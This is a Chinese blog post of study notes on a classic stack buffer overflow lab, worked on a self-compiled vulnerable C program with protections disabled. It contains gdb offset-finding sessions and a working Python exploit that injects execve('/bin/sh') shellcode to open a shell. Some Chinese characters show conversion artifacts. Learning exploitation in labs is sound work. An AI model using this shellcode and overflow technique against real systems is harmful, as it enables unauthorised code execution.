Spliot-fun 之 Classic Stack Based Buffer Overflow 學(xué)習(xí)筆記

參考:
https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
http://wooyun.jozxing.cc/static/drops/tips-6597.html
本人小白,如果哪里有錯(cuò)誤還望多多指教?。?!

首先看一下源代碼:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

關(guān)閉ASLR、DEP和Stack Protector編譯生成可執(zhí)行文件vuln,這里不使用反匯編,直接暴力測(cè)試,輸入大于256長(zhǎng)度的字符,測(cè)試發(fā)現(xiàn)當(dāng)字符串長(zhǎng)度為260時(shí)會(huì)出現(xiàn)Segmentation fault

  • 字符串長(zhǎng)度為256
gdb-peda$ r `python -c 'print "A"*256'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*256'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 10742) exited normally]
Warning: not running or target is remote
  • 字符串長(zhǎng)度為260
gdb-peda$ r `python -c 'print "A"*260'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*260'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0 
ESP: 0xbfffef00 ('A' <repeats 68 times>)
EIP: 0x41414141 ('AAAA')

  • 字符串長(zhǎng)度為264
gdb-peda$ r `python -c 'print "A"*264'`
Starting program: /home/shu/owl207/sploitfun/level1/Classic/vuln `python -c 'print "A"*264'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
...
EBP: 0x0 
ESP: 0x4141413d ('=AAA')
EIP: 0x804848f (<main+84>:  ret)

可以看到字符串長(zhǎng)度小于260不會(huì)產(chǎn)生Segmentation fault,而字符串長(zhǎng)度大于260時(shí)又無(wú)法控制'EIP'的值。所以輸入字符串長(zhǎng)度應(yīng)為'260'。

接下來(lái)確定EIP所在的位置,使用長(zhǎng)度為260的如下字符串作為輸入:

aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111

開(kāi)啟:core dump,來(lái)定位正常運(yùn)行情況下的ESPEIP。

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

然后運(yùn)行:

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ ./vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Input:aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)

接下來(lái)根據(jù)產(chǎn)生的core dump文件確定ESPEIP以及buf的起始地址。

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ gdb ./vuln /tmp/core.1543385049 -q
...
gdb-peda$ x/s $esp
0xbfffef00: "GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ", '1' <repeats 52 times>
gdb-peda$ x/s $eip
0x46464646: <error: Cannot access memory at address 0x46464646>

根據(jù)GGGG在輸入字符串中的偏移可以計(jì)算出buf的起始地址,buf的起始地址需要寫(xiě)到EIP指向的位置,而EIPESP相差4個(gè)字節(jié)。exp.py如下:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbfffee80       
              
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)
buf = scode
buf += "\x90" * 99
buf += conv(ret_addr)
buf += "\x90" * 132


print "Calling vulnerable program"
call(["./vuln", buf])

運(yùn)行結(jié)果:

shu@ubuntu-32bit:~/owl207/sploitfun/level1/Classic$ python exp.py 
Calling vulnerable program
Input:1?Ph//shh/bin??P??S???
                            ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
$ whoami
shu
  • 注意
  1. 雖然關(guān)閉了ASLR,但是使用gdb調(diào)試狀態(tài)下的buf地址和直接運(yùn)行時(shí)的buf地址不一樣,所以不能直接通過(guò)調(diào)試來(lái)獲取buf的地址。而且我在調(diào)試過(guò)程發(fā)現(xiàn):調(diào)試狀態(tài)下發(fā)生Segmentation fault時(shí)ESP和直接運(yùn)行程序發(fā)生Segmentation fault時(shí)的ESP值相同,但是調(diào)試狀態(tài)下的ESPEIP所指的內(nèi)容和直接執(zhí)行時(shí)的不一樣。調(diào)試時(shí)的ESP值和EIP如下:
ESP: 0xbfffef00 ("WWWWXXXXYYYYZZZZ", '1' <repeats 52 times>)
EIP: 0x56565656 ('VVVV')
  1. 我第一次寫(xiě)exp.py的時(shí)候把EIP的值(即:return address)填為ESP,而將真正的shellcode放在ESP處,但是執(zhí)行的時(shí)候報(bào)錯(cuò),不知道什么原因。后來(lái)把shellcode放在了從buf處執(zhí)行就能得到shelll了。
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀(guān)點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容